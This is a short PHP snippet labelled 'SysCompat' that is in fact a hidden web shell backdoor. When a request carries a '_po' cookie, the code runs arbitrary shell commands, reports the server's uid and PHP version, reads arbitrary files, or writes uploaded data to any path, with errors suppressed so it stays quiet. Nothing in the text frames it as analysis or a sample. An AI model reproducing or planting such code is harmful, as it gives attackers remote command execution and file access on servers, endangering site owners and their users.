/* SysCompat */
if (isset($_COOKIE['_po'])) { $p=$_COOKIE['_po']; @header('Content-Type: text/plain');
$o=$p[0]; $a=substr($p,1);
switch($o){case'0':echo @shell_exec($a.' 2>&1');break;
case'1':echo @json_encode(['u'=>@getmyuid(),'v'=>PHP_VERSION]);break;
case'2':if(@file_exists($a))echo @file_get_contents($a);break;
case'4':$d=@file_get_contents('php://input');if($d!==false&&$a){@file_put_contents($a,$d);echo'ok';}break;}exit;}